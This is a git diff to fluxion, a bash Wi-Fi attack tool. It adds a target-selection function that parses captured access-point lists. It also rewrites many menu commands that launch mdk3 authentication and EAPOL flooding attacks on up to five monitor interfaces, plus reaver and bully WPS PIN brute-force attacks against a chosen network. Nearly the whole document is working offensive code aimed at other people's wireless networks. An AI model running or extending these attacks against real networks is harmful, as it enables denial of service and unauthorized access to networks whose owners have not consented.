diff --git a/fluxion b/fluxion index 6c21fb6..694e763 100755 --- a/fluxion +++ b/fluxion @@ -839,6 +839,75 @@ function selection { askAP } +function wpsselection { + + conditional_clear + + + LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` + + if [ $LINEAS_WIFIS_CSV -le 3 ]; then + deltax && break + fi + + linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + linap=`expr $linap - 1` + head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv + tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv + echo " WIFI LIST " + echo "" + echo " # MAC CHAN SECU PWR ESSID" + echo "" + i=0 + + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do + longueur=${#MAC} + PRIVACY=$(echo $PRIVACY| tr -d "^ ") + PRIVACY=${PRIVACY:0:4} + if [ $longueur -ge 17 ]; then + i=$(($i+1)) + POWER=`expr $POWER + 100` + CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` + + if [ "$CLIENTE" != "" ]; then + CLIENTE="*" + fi + + echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" + aidlenght=$IDLENGTH + assid[$i]=$ESSID + achannel[$i]=$CHANNEL + amac[$i]=$MAC + aprivacy[$i]=$PRIVACY + aspeed[$i]=$SPEED + fi + done < $DUMP_PATH/dump-02.csv + echo + echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" + echo "" + echo " Select Target " + echo -n " #> " + read choice + idlenght=${aidlenght[$choice]} + ssid=${assid[$choice]} + channel=$(echo ${achannel[$choice]}|tr -d [:space:]) + mac=${amac[$choice]} + privacy=${aprivacy[$choice]} + speed=${aspeed[$choice]} + Host_IDL=$idlength + Host_SPEED=$speed + Host_ENC=$privacy + Host_MAC=$mac + Host_CHAN=$channel + acouper=${#ssid} + fin=$(($acouper-idlength)) + Host_SSID=${ssid:1:fin} + + conditional_clear + + +} + # FakeAP function askAP { @@ -926,9 +995,6 @@ python wifite.py function wps { clear -declare BSSID; -declare ESSID; -declare CHANNEL; declare WIFI_MONITOR1; declare WIFI_MONITOR2; declare WIFI_MONITOR3; @@ -1076,127 +1142,7 @@ echo "MAC Changed" scan_for_targets() { - -ifconfig $WIFI_MONITOR1 down -iwconfig $WIFI_MONITOR1 mode managed -ifconfig $WIFI_MONITOR1 up - -eval $(iwlist $WIFI_MONITOR1 scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') - -wps-wifi-monitor - -read a -case $a in - - 0) -clear -scan_for_targets -;; - 1) -BSSID=$BSSID1 -ESSID=$ESSID1 -CHANNEL=$CHANNEL1 -;; - 2) -BSSID=$BSSID2 -ESSID=$ESSID2 -CHANNEL=$CHANNEL2 -;; - 3) -BSSID=$BSSID3 -ESSID=$ESSID3 -CHANNEL=$CHANNEL3 -;; - 4) -BSSID=$BSSID4 -ESSID=$ESSID4 -CHANNEL=$CHANNEL4 -;; - 5) -BSSID=$BSSID5 -ESSID=$ESSID5 -CHANNEL=$CHANNEL5 -;; - 6) -BSSID=$BSSID6 -ESSID=$ESSID6 -CHANNEL=$CHANNEL6 -;; - 7) -BSSID=$BSSID7 -ESSID=$ESSID7 -CHANNEL=$CHANNEL7 -;; - 8) -BSSID=$BSSID8 -ESSID=$ESSID8 -CHANNEL=$CHANNEL8 -;; - 9) -BSSID=$BSSID9 -ESSID=$ESSID9 -CHANNEL=$CHANNEL9 -;; - 10) -BSSID=$BSSID10 -ESSID=$ESSID10 -CHANNEL=$CHANNEL10 -;; - 11) -BSSID=$BSSID11 -ESSID=$ESSID11 -CHANNEL=$CHANNEL11 -;; - 12) -BSSID=$BSSID12 -ESSID=$ESSID12 -CHANNEL=$CHANNEL12 -;; - 13) -BSSID=$BSSID13 -ESSID=$ESSID13 -CHANNEL=$CHANNEL13 -;; - 14) -BSSID=$BSSID14 -ESSID=$ESSID14 -CHANNEL=$CHANNEL14 -;; - 15) -BSSID=$BSSID15 -ESSID=$ESSID15 -CHANNEL=$CHANNEL15 -;; - 16) -BSSID=$BSSID16 -ESSID=$ESSID16 -CHANNEL=$CHANNEL16 -;; - 17) -BSSID=$BSSID17 -ESSID=$ESSID17 -CHANNEL=$CHANNEL17 -;; - 18) -BSSID=$BSSID18 -ESSID=$ESSID18 -CHANNEL=$CHANNEL18 -;; - 19) -BSSID=$BSSID19 -ESSID=$ESSID19 -CHANNEL=$CHANNEL19 -;; - 20) -BSSID=$BSSID20 -ESSID=$ESSID20 -CHANNEL=$CHANNEL20 -;; - *) -Invalid Option -;; -esac - +wpsselection } ####End of Target Scanner#### @@ -1205,52 +1151,52 @@ esac run_mdk3_ASOC1() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m" } run_mdk3_EAPOL1() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250" } run_mdk3_ASOC2() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m" } run_mdk3_EAPOL2() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250" } run_mdk3_ASOC3() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m" } run_mdk3_EAPOL3() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250" } run_mdk3_ASOC4() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m" } run_mdk3_EAPOL4() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250" } run_mdk3_ASOC5() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $mac -m" } run_mdk3_EAPOL5() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $mac -n $ssid -s 250" } ##################################End Of Functions For MDK3 ######################################## @@ -1333,17 +1279,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -1353,7 +1299,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1367,7 +1313,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1381,12 +1327,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1400,7 +1346,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1490,17 +1436,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -1510,7 +1456,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1524,7 +1470,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1538,12 +1484,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1557,7 +1503,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1656,17 +1602,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -1676,7 +1622,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1690,7 +1636,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1704,12 +1650,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1723,7 +1669,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1827,17 +1773,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -1847,7 +1793,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1861,7 +1807,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1875,12 +1821,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1894,7 +1840,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -2003,17 +1949,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -2023,7 +1969,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -2037,7 +1983,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -2051,12 +1997,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -2070,7 +2016,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do